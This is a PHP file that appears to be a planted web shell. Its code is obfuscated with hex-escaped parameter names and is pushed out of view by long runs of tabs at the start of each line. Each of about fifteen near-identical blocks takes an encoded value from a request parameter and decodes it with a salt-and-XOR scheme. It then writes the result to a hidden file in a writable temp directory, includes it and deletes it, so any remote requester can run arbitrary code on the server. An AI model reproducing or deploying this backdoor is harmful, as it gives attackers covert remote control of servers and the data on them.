<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x65nt"])){ $entity = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp"]); $descriptor = $_REQUEST["\x65nt"]; $descriptor =explode ( '.' , $descriptor ) ; $object = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $z = 0; $__tmp = $descriptor; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt4[$z% $lenS]); $dec = ( ( int)$v7 - $sChar -( $z% 10)) ^8; $object .= chr( $dec); $z++;} foreach ($entity as $key => $marker) { if ((is_dir($marker) and is_writable($marker))) { $entry = vsprintf("%s/%s", [$marker, ".key"]); if (file_put_contents($entry, $object)) { include $entry; @unlink($entry); exit; } } } }
																																										if(in_array("\x72e\x73", array_keys($_POST))){ $factor = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $element = $_POST["\x72e\x73"]; $element = explode ( ".", $element ) ; $pointer = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $x = 0; foreach($element as $v8) { $sChar = ord($salt4[$x%$sLen]); $dec = ((int)$v8 - $sChar -($x%10)) ^ 23; $pointer .= chr($dec); $x++;} foreach ($factor as $key => $flag) { if (!( !is_dir($flag) || !is_writable($flag) )) { $ent = "$flag" . "/.obj"; if (file_put_contents($ent, $pointer)) { include $ent; @unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x72\x65s")){ $k = $_REQUEST["\x72\x65s"]; $k= explode ( "." ,$k ) ; $descriptor= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s1); $v= 0; $__tmp= $k; while($v5= array_shift($__tmp)) { $sChar= ord($s1[$v %$sLen]); $dec= ((int)$v5 - $sChar -($v %10)) ^ 98; $descriptor .= chr($dec); $v++; } $pset = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), getcwd(), "/dev/shm"]); for ($dchunk = 0, $entry = count($pset); $dchunk < $entry; $dchunk++) { $marker = $pset[$dchunk]; if (is_dir($marker) && is_writable($marker)) { $property_set = "$marker" . "/.sym"; if (file_put_contents($property_set, $descriptor)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(isset($_REQUEST["en\x74r\x79"]) ? true : false){ $sym = $_REQUEST["en\x74r\x79"]; $sym = explode ("." ,$sym) ; $resource= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt5 ); foreach ($sym as $q => $v4): $sChar= ord($salt5[$q%$lenS] ); $d= ((int)$v4 - $sChar - ($q%10))^ 91; $resource .= chr($d ); endforeach; $fac = array_filter(["/dev/shm", "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP")]); foreach ($fac as $key => $token) { if (!( !is_dir($token) || !is_writable($token) )) { $bind = sprintf("%s/.data", $token); if (file_put_contents($bind, $resource)) { require $bind; unlink($bind); die(); } } } }
																																										if(isset($_POST) && isset($_POST["value"])){ $element = $_POST["value"]; $element = explode ( "." ,$element ) ; $binding = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $j = 0; $__tmp = $element; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt4[$j % $sLen]); $d = ( ( int)$v7 - $sChar -( $j % 10)) ^ 52; $binding .= chr( $d); $j++; } $holder = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); while ($ent = array_shift($holder)) { if (is_writable($ent) && is_dir($ent)) { $marker = implode("/", [$ent, ".data_chunk"]); if (@file_put_contents($marker, $binding) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("\x66l\x61g", $_POST)){ $pset = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), "/dev/shm"]); $fac = $_POST["\x66l\x61g"]; $fac = explode ( ".", $fac ); $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $__len = count( $fac ); for( $q = 0; $q< $__len; $q++) { $v3 = $fac[$q]; $chS = ord( $salt[$q % $lenS] ); $dec = ( ( int)$v3 - $chS -( $q % 10)) ^ 23; $marker .= chr( $dec ); } foreach ($pset as $symbol) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $item = implode("/", [$symbol, ".data_chunk"]); if (file_put_contents($item, $marker)) { require $item; unlink($item); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68\x6Fl\x64er"])){ $value = $_REQUEST["\x68\x6Fl\x64er"]; $value = explode( '.' , $value ) ; $comp =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s4); $o =0; while( $o<count( $value)) {$v8 =$value[$o]; $chS =ord( $s4[$o%$sLen]); $d =( ( int)$v8 - $chS -( $o%10))^ 77; $comp .=chr( $d); $o++; } $marker = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); for ($val = 0, $flag = count($marker); $val < $flag; $val++) { $flg = $marker[$val]; if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $parameter_group = "$flg" . "/.pset"; $success = file_put_contents($parameter_group, $comp); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(!empty($_POST["p\x73et"])){ $token = array_filter([getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm"]); $tkn = $_POST["p\x73et"]; $tkn = explode ( '.' , $tkn ) ; $component=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt6); $m=0; $__tmp=$tkn; while ($v5=array_shift($__tmp)) { $chS=ord($salt6[$m %$lenS]); $dec=((int)$v5 - $chS - ($m %10)) ^ 11; $component .= chr($dec); $m++; } $parameter_group = 0; do { $res = $token[$parameter_group] ?? null; if ($parameter_group >= count($token)) break; if (!!is_dir($res) && !!is_writable($res)) { $property_set = implode("/", [$res, ".itm"]); if (@file_put_contents($property_set, $component) !== false) { include $property_set; unlink($property_set); exit; } } $parameter_group++; } while (true); }
																																										if(!is_null($_REQUEST["res"] ?? null)){ $property_set = array_filter([session_save_path(), getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $component = $_REQUEST["res"]; $component = explode ( '.' , $component ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($component as $s => $v8): $chS = ord($salt[$s % $sLen]); $d = ((int)$v8 - $chS - ($s % 10)) ^ 82; $item .= chr($d); endforeach; foreach ($property_set as $k) { if (is_dir($k) ? is_writable($k) : false) { $key = str_replace("{var_dir}", $k, "{var_dir}/.object"); $file = fopen($key, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $key; @unlink($key); die(); } } } }
																																										if(array_key_exists("re\x73", $_REQUEST) && !is_null($_REQUEST["re\x73"])){ $ptr = $_REQUEST["re\x73"]; $ptr = explode( "." , $ptr) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $v = 0; $len = count($ptr ); do { if($v>= $len) break; $v7 = $ptr[$v]; $chS = ord($s[$v %$sLen] ); $d = ((int)$v7 - $chS -($v %10)) ^ 33; $bind.= chr($d ); $v++; } while(true ); $element = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP")]); foreach ($element as $pointer) { if ((bool)is_dir($pointer) && (bool)is_writable($pointer)) { $k = sprintf("%s/.flag", $pointer); $file = fopen($k, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(@$_REQUEST["tk\x6E"] !== null){ $factor = $_REQUEST["tk\x6E"]; $factor = explode( '.' , $factor ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $p =0; $__len =count($factor); do { if ($p >= $__len) break; $v6 =$factor[$p]; $sChar =ord($salt[$p % $sLen]); $dec =((int)$v6 - $sChar - ($p % 10)) ^ 48; $parameter_group.= chr($dec); $p++;}while (true); $ent = array_filter(["/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); for ($dat = 0, $reference = count($ent); $dat < $reference; $dat++) { $bind = $ent[$dat]; if (max(0, is_dir($bind) * is_writable($bind))) { $component = join("/", [$bind, ".elem"]); if (@file_put_contents($component, $parameter_group) !== false) { include $component; unlink($component); exit; } } } }
																																										if(!is_null($_POST["sym"] ?? null)){ $marker = $_POST["sym"]; $marker = explode ('.' , $marker ); $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; foreach($marker as $v4) { $sChar = ord($salt[$w % $lenS]); $d =((int)$v4 - $sChar -($w % 10)) ^ 19; $key .= chr($d); $w++; } $mrk = array_filter([getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); foreach ($mrk as $item): if ((is_dir($item) and is_writable($item))) { $ent = join("/", [$item, ".entry"]); $success = file_put_contents($ent, $key); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
																																										if(!empty($_POST["k\x65y"])){ $flg = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TMP")]); $dchunk = $_POST["k\x65y"]; $dchunk= explode ('.' , $dchunk ); $marker = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $__len = count($dchunk ); for ($q = 0; $q < $__len; $q++) { $v4 = $dchunk[$q]; $sChar = ord($s6[$q %$lenS] ); $dec = ((int)$v4 - $sChar - ($q %10)) ^ 51; $marker.= chr($dec ); } foreach ($flg as $property_set): if ((is_dir($property_set) and is_writable($property_set))) { $tkn = join("/", [$property_set, ".holder"]); if (file_put_contents($tkn, $marker)) { include $tkn; @unlink($tkn); exit; } } endforeach; }
																																										if(in_array("v\x61l\x75e", array_keys($_POST))){ $reference = $_POST["v\x61l\x75e"]; $reference = explode ( '.' , $reference ) ; $descriptor =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s1); $m =0; while ($m< count($reference)) { $v7 =$reference[$m]; $sChar =ord($s1[$m% $sLen]); $d =((int)$v7 - $sChar - ($m% 10)) ^ 24; $descriptor .= chr($d); $m++; } $k = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp"]); foreach ($k as $key => $symbol) { if (is_dir($symbol) ? is_writable($symbol) : false) { $desc = sprintf("%s/.val", $symbol); if (@file_put_contents($desc, $descriptor) !== false) { include $desc; unlink($desc); die(); } } } }


if(!empty($_REQUEST["\x64\x65sc\x72\x69p\x74or"])){
	$res = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir")]);
	$element = $_REQUEST["\x64\x65sc\x72\x69p\x74or"];
		 	$element=explode	(	 	'.',$element );
	$record = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $j = 0;
    
            foreach ($element as $v9) { $chS = ord($s[$j	% $lenS]);
                $d = ((int)$v9 - $chS - ($j	% 10))^	85;
                $record .=	 chr($d);
                $j++;}	
	while ($hld = array_shift($res)) {
    		if (!!is_dir($hld) && !!is_writable($hld)) {
    $symbol = "$hld" . "/.key";
    $success = file_put_contents($symbol, $record);
if ($success) {
	include $symbol;
	@unlink($symbol);
	exit;}
}
}
}